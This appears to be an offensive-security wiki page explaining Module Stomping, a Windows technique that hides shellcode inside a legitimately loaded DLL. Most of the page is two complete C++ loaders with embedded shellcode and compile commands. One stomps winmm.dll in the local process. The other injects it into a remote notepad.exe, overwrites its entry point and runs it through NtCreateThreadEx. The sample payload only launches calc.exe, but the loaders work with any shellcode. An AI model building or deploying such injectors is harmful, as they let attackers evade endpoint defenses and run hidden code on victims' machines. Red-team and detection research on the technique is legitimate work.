Module Stomping Shellcode Injection
Theory
Module Stomping is an advanced defense evasion technique where an attacker loads a legitimate DLL into memory and then overwrites its executable code (usually the .text
section or entry point) with malicious shellcode. Since the DLL remains mapped in the process memory, traditional security tools might overlook the malicious modifications, assuming it is a legitimate module.
This technique is effective because:
The DLL remains registered in the PEB (Process Environment Block)
Memory scanners may not flag it as suspicious since it appears as a legitimate loaded module
Overwriting the
.text
section allows execution of arbitrary code
Execution Flow
Injects some benign Windows DLL into a remote or local process
Overwrites DLL's, loaded in step 1,
AddressOfEntryPoint
point with shellcodeStarts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2
Practice
The following code implements Module Stomping by loading the winmm.dll
into the current process, and overwrite its .text section with our shellcode.
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>
// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
typedef HMODULE (WINAPI *pLoadLibraryExW)(
LPCWSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);
// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif
// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif
DWORD WINAPI esc_main(LPVOID lpParameter)
{
// Shellcode - replace with your actual shellcode
// calc.exe
unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
SIZE_T length = sizeof(decoded);
// Load NT functions dynamically
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
return 1;
}
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
if (!NtWriteVirtualMemory || !NtProtectVirtualMemory) {
std::cerr << "Failed to get addresses of NT functions" << std::endl;
return 1;
}
// Get handle to kernel32.dll to use LoadLibraryExW
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) {
std::cerr << "Failed to get handle to kernel32.dll" << std::endl;
return 1;
}
pLoadLibraryExW LoadLibraryExW = (pLoadLibraryExW)GetProcAddress(hKernel32, "LoadLibraryExW");
if (!LoadLibraryExW) {
std::cerr << "Failed to get address of LoadLibraryExW" << std::endl;
return 1;
}
// Choose a DLL to stomp - using a non-critical DLL
const wchar_t* dllToStomp = L"winmm.dll";
std::cout << "Loading a fresh copy of the DLL for stomping..." << std::endl;
// Load a fresh copy of the DLL with DONT_RESOLVE_DLL_REFERENCES flag
// This loads the DLL but doesn't execute its initialization routines
HMODULE hModule = LoadLibraryExW(dllToStomp, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hModule) {
std::cerr << "Failed to load module for stomping. Error: " << GetLastError() << std::endl;
return 1;
}
// Get module information
MODULEINFO moduleInfo;
if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
std::cerr << "Failed to get module information. Error: " << GetLastError() << std::endl;
FreeLibrary(hModule);
return 1;
}
std::cout << "Successfully loaded module at address: 0x" << std::hex << moduleInfo.lpBaseOfDll << std::endl;
std::cout << "Module size: " << std::dec << moduleInfo.SizeOfImage << " bytes" << std::endl;
// Find the .text section to overwrite
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)moduleInfo.lpBaseOfDll + dosHeader->e_lfanew);
// Find the entry point
PVOID targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + ntHeader->OptionalHeader.AddressOfEntryPoint);
// If entry point is not suitable, use a fixed offset
if (!targetAddress) {
targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + 0x1000); // Skip PE header
}
std::cout << "Target address for stomping: 0x" << std::hex << targetAddress << std::endl;
// Change memory protection to allow writing
HANDLE hProc = GetCurrentProcess();
DWORD oldProtect = 0;
PVOID baseAddress = targetAddress;
SIZE_T regionSize = length;
NTSTATUS status;
status = NtProtectVirtualMemory(hProc, &baseAddress, ®ionSize, PAGE_READWRITE, &oldProtect);
if (status != 0) {
std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
FreeLibrary(hModule);
return 1;
}
// Write shellcode to the module's memory
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory(hProc, targetAddress, decoded, length, &bytesWritten);
if (status != 0) {
std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
FreeLibrary(hModule);
return 1;
}
std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module" << std::endl;
// Restore original memory protection
status = NtProtectVirtualMemory(hProc, &baseAddress, ®ionSize, PAGE_EXECUTE_READ, &oldProtect);
if (status != 0) {
std::cerr << "Failed to restore memory protection. Status: " << std::hex << status << std::endl;
FreeLibrary(hModule);
return 1;
}
std::cout << "Executing stomped module code..." << std::endl;
// Execute the shellcode
FARPROC stomped_func = (FARPROC)targetAddress;
stomped_func();
std::cout << "Execution completed" << std::endl;
// Optionally free the library when done
// FreeLibrary(hModule);
return 0;
}
int main()
{
esc_main(NULL);
return 0;
}
We can compile it from linux using following command
x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static
The following code implements Module Stomping by loading the winmm.dll
into a remote notepad.exe
process, and overwrite its .text section with our shellcode.
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>
// NT API typedefs and structures
typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
// NT API function typedefs
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
typedef NTSTATUS (NTAPI *pNtClose)(
HANDLE Handle
);
typedef NTSTATUS (NTAPI *pNtFreeVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG FreeType
);
typedef HMODULE (WINAPI *pLoadLibraryExW)(
LPCWSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);
// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif
// Function to find a process by name
DWORD FindProcessId(const wchar_t* processName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W processEntry;
processEntry.dwSize = sizeof(processEntry);
if (Process32FirstW(snapshot, &processEntry)) {
do {
if (_wcsicmp(processEntry.szExeFile, processName) == 0) {
pid = processEntry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &processEntry));
}
CloseHandle(snapshot);
}
return pid;
}
DWORD WINAPI esc_main(LPVOID lpParameter)
{
//calc.exe shellcode
unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
SIZE_T length = sizeof(decoded);
// Load NT functions dynamically
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
return 1;
}
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)GetProcAddress(hNtdll, "NtWaitForSingleObject");
pNtClose NtClose = (pNtClose)GetProcAddress(hNtdll, "NtClose");
pNtFreeVirtualMemory NtFreeVirtualMemory = (pNtFreeVirtualMemory)GetProcAddress(hNtdll, "NtFreeVirtualMemory");
if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory ||
!NtCreateThreadEx || !NtWaitForSingleObject || !NtClose || !NtFreeVirtualMemory) {
std::cerr << "Failed to get addresses of NT functions" << std::endl;
return 1;
}
HANDLE hProc = NULL;
HANDLE hThread = NULL;
DWORD oldProtect = 0;
NTSTATUS status;
// Find a target process - for example, notepad.exe
const wchar_t* targetProcess = L"notepad.exe";
DWORD pid = FindProcessId(targetProcess);
if (pid == 0) {
std::wcout << L"Target process " << targetProcess << L" not found. Please start it first." << std::endl;
return 1;
}
std::cout << "Found target process with PID: " << pid << std::endl;
// Open the target process with all access
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) {
std::cerr << "Failed to open target process. Error: " << GetLastError() << std::endl;
return 1;
}
// Validate that we have a valid process handle
if (hProc == NULL) {
std::cerr << "No valid target process handle provided" << std::endl;
return 1;
}
// Choose a single DLL to inject and stomp
const char* dllToStomp = "C:\\Windows\\System32\\winmm.dll";
std::cout << "Attempting to inject: " << dllToStomp << std::endl;
// Allocate memory for the DLL path in the remote process
size_t pathLen = strlen(dllToStomp) + 1;
PVOID remoteBuffer = NULL;
SIZE_T regionSize = pathLen;
status = NtAllocateVirtualMemory(hProc, &remoteBuffer, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (status != 0) {
std::cerr << "NtAllocateVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
CloseHandle(hProc);
return 1;
}
// Write the DLL path to the remote process
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory(hProc, remoteBuffer, (PVOID)dllToStomp, pathLen, &bytesWritten);
if (status != 0) {
std::cerr << "NtWriteVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
NtFreeVirtualMemory(hProc, &remoteBuffer, ®ionSize, MEM_RELEASE);
CloseHandle(hProc);
return 1;
}
// Get address of LoadLibraryA
PVOID loadLibraryAddr = (PVOID)GetProcAddress(
GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!loadLibraryAddr) {
std::cerr << "Failed to get address of LoadLibraryA. Error: " << GetLastError() << std::endl;
NtFreeVirtualMemory(hProc, &remoteBuffer, ®ionSize, MEM_RELEASE);
CloseHandle(hProc);
return 1;
}
// Create a remote thread to load the DLL
status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, loadLibraryAddr, remoteBuffer, 0, 0, 0, 0, NULL);
if (status != 0) {
std::cerr << "NtCreateThreadEx failed with status: 0x" << std::hex << status << std::endl;
NtFreeVirtualMemory(hProc, &remoteBuffer, ®ionSize, MEM_RELEASE);
CloseHandle(hProc);
return 1;
}
// Wait for the thread to complete
status = NtWaitForSingleObject(hThread, FALSE, NULL);
if (status != 0) {
std::cerr << "NtWaitForSingleObject failed with status: 0x" << std::hex << status << std::endl;
}
NtClose(hThread);
std::cout << "DLL injection thread completed, checking if module was loaded..." << std::endl;
// Extract just the filename from the path for comparison
char filename[MAX_PATH] = {0};
const char* lastSlash = strrchr(dllToStomp, '\\');
if (lastSlash) {
strcpy_s(filename, sizeof(filename), lastSlash + 1);
} else {
strcpy_s(filename, sizeof(filename), dllToStomp);
}
// Free the remote buffer as we don't need it anymore
NtFreeVirtualMemory(hProc, &remoteBuffer, ®ionSize, MEM_RELEASE);
// Find the injected module in the remote process
HMODULE remoteModule = NULL;
HMODULE hModules[1024] = {0};
DWORD cbNeeded = 0;
char moduleName[MAX_PATH] = {0};
if (EnumProcessModules(hProc, hModules, sizeof(hModules), &cbNeeded)) {
for (unsigned int j = 0; j < (cbNeeded / sizeof(HMODULE)); j++) {
if (GetModuleFileNameExA(hProc, hModules[j], moduleName, sizeof(moduleName))) {
// Check if the module name contains our DLL name
if (strstr(moduleName, filename) != nullptr) {
remoteModule = hModules[j];
std::cout << "Found module " << filename << " at address 0x" << std::hex << remoteModule << std::endl;
break;
}
}
}
}
if (!remoteModule) {
std::cerr << "Failed to find injected module in remote process" << std::endl;
CloseHandle(hProc);
return 1;
}
// Read the PE header from the remote process
DWORD headerBufferSize = 0x1000;
LPVOID headerBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
if (!headerBuffer) {
std::cerr << "Failed to allocate memory for PE header. Error: " << GetLastError() << std::endl;
CloseHandle(hProc);
return 1;
}
if (!ReadProcessMemory(hProc, remoteModule, headerBuffer, headerBufferSize, NULL)) {
std::cerr << "Failed to read PE header from remote process. Error: " << GetLastError() << std::endl;
HeapFree(GetProcessHeap(), 0, headerBuffer);
CloseHandle(hProc);
return 1;
}
// Parse the PE header to find the entry point
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headerBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headerBuffer + dosHeader->e_lfanew);
DWORD_PTR entryPointOffset = ntHeader->OptionalHeader.AddressOfEntryPoint;
LPVOID entryPoint = (LPVOID)((DWORD_PTR)remoteModule + entryPointOffset);
std::cout << "Module entry point offset: 0x" << std::hex << entryPointOffset << std::endl;
std::cout << "Module entry point address: 0x" << std::hex << entryPoint << std::endl;
// Write shellcode to the module's entry point
std::cout << "Writing shellcode to module entry point..." << std::endl;
// Change memory protection to allow writing
PVOID protectAddress = entryPoint;
SIZE_T protectSize = length;
status = NtProtectVirtualMemory(hProc, &protectAddress, &protectSize, PAGE_READWRITE, &oldProtect);
if (status != 0) {
std::cerr << "NtProtectVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
HeapFree(GetProcessHeap(), 0, headerBuffer);
CloseHandle(hProc);
return 1;
}
// Write shellcode to the module's entry point
status = NtWriteVirtualMemory(hProc, entryPoint, decoded, length, &bytesWritten);
if (status != 0) {
std::cerr << "NtWriteVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
HeapFree(GetProcessHeap(), 0, headerBuffer);
CloseHandle(hProc);
return 1;
}
std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module entry point" << std::endl;
// Restore original memory protection
status = NtProtectVirtualMemory(hProc, &protectAddress, &protectSize, PAGE_EXECUTE_READ, &oldProtect);
if (status != 0) {
std::cerr << "Failed to restore memory protection. Status: 0x" << std::hex << status << std::endl;
HeapFree(GetProcessHeap(), 0, headerBuffer);
CloseHandle(hProc);
return 1;
}
// Free the header buffer
HeapFree(GetProcessHeap(), 0, headerBuffer);
// Execute the shellcode by creating a thread at the entry point
std::cout << "Executing shellcode from module entry point..." << std::endl;
// Use NtCreateThreadEx instead of CreateRemoteThread
status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, (PVOID)entryPoint, NULL, 0, 0, 0, 0, NULL);
if (status != 0) {
std::cerr << "NtCreateThreadEx failed with status: 0x" << std::hex << status << std::endl;
CloseHandle(hProc);
return 1;
}
// Wait for the thread to complete using NtWaitForSingleObject
status = NtWaitForSingleObject(hThread, FALSE, NULL);
if (status != 0) {
std::cerr << "NtWaitForSingleObject failed with status: 0x" << std::hex << status << std::endl;
}
// Close the thread handle
NtClose(hThread);
CloseHandle(hProc);
std::cout << "Execution completed in remote process" << std::endl;
return 0;
}
int main()
{
esc_main(NULL);
return 0;
}
We can compile it from linux using following command
x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static
Resources
Last updated
Was this helpful?